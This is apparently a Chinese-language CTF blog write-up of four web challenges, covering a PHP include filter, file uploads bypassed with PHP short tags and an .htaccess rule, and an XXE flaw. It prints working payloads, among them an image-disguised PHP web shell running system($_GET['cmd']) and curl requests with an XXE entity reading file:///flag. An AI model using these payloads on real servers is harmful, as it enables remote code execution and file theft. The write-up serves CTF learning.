ctfweb:php/php短标签/.haccess+图片马/XXE

玄武杯 2025ez_include

先来看一下这段代码具体的作用

首先,stream_wrapper_unregister函数移除了php://输入输出流,也就是我们没法用pgp://filter只r不x了

然后是一个高光设计,之后代码用随机函数得到了一个随机十六个字符的文件名,在users下随机创建文件夹,再cd过去,根据客户端 IP 地址生成一个合法的目录名,用于为每个访问者创建独立的临时文件夹,然后将服务器环境信息保存到该目录下的profile文件中,用于记录访问日志,最后,递归删除创建的文件夹

然后进行安全性测试:

  • 把page参数里的 '.' 删掉
  • 检查要访问的目标文件是否包含<?,php

直接测试参数?page=flag

LitCTF 2025easy_file

进去之后是登录页,看一下源码有个注释:

这里直接尝试admin&password就进了

上传图片马被拦截,有内容检测<?php,用php短标签代替

复制代码
echo GIF89a > normal.jpg
echo ^<?= system($_GET["cmd"]); ?^> >> normal.jpg

根据刚才源码提示找到文件位置,进而进行命令执行

GHCTF 2025UPUPUP

先尝试上传一句话木马,尝试失败

学习.gtaccess:通过.htaccess可重写解析规则,使任意扩展名文件以PHP执行

于是思路如下:先传入.htaccess,再传入图片马,使得图片马被执行

复制代码
echo GIF89a; ^<?php system($_REQUEST["cmd"]); ^?^> >> normal.jpg

然后改名为shell.jpg

normal改名为shell.jpg,上传

尝试payload:?cmd=cat flag,回显成功

GHCTF 2025(>﹏<)

源码中存在 XXE 漏洞:

  • load_dtd=True:允许加载外部 DTD

  • resolve_entities=True:允许解析实体

先确认接口是否正常:

复制代码
curl -X POST http://node1.anna.nssctf.cn:22718/ghctf -d 'xml=<root><name>test</name></root>'
复制代码
curl -X POST http://node1.anna.nssctf.cn:22718/ghctf --data-urlencode 'xml=<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test "hello">]><root><name>&test;</name></root>'

注意: 必须使用 --data-urlencode,否则 & 符号会被 shell 错误解析。

复制代码
curl -X POST http://node1.anna.nssctf.cn:22718/ghctf --data-urlencode 'xml=<?xml version="1.0"?><!DOCTYPE root [<!ENTITY b SYSTEM "file:///flag">]><root><name>&b;</name></root>'
相关推荐
微学AI5 小时前
一根针指向所有方向:挂谷猜想对 LLM Agent 技能-记忆架构的启示
开发语言·人工智能·架构·挂谷猜想
郭老二5 小时前
【前端】vue3:编译步骤
前端
豆瓣鸡5 小时前
算法日记 - Day3
java·开发语言·算法
不在逃避q6 小时前
Trae/Vs Code/Cursor命令行无法跑npm命令
前端·arcgis·npm
夏殇之殁6 小时前
包中创建自定义列表项。 . 使用自定义列表项进行数据绑定 . 将天气预报数据保存到本地内存表,通过LiveBindings进行显示。 ...
服务器·前端·javascript
韭菜炒鸡肝天6 小时前
VTK开发笔记(一):VTK介绍,Qt..+VSx+VTK.编译
开发语言·笔记·qt
The Chosen One9856 小时前
高进度算法模板速记(待完善)
java·前端·算法
陈随易6 小时前
MoonBit抓包模块pcap,查看电脑的每一次联网通信
前端·后端·程序员
Aaron - Wistron7 小时前
Web API C# (Furion版)带 单元测试
开发语言·后端·c#
姜太小白7 小时前
【Linux】df -h 卡住问题的通用排查与解决方案总结
linux·运维·php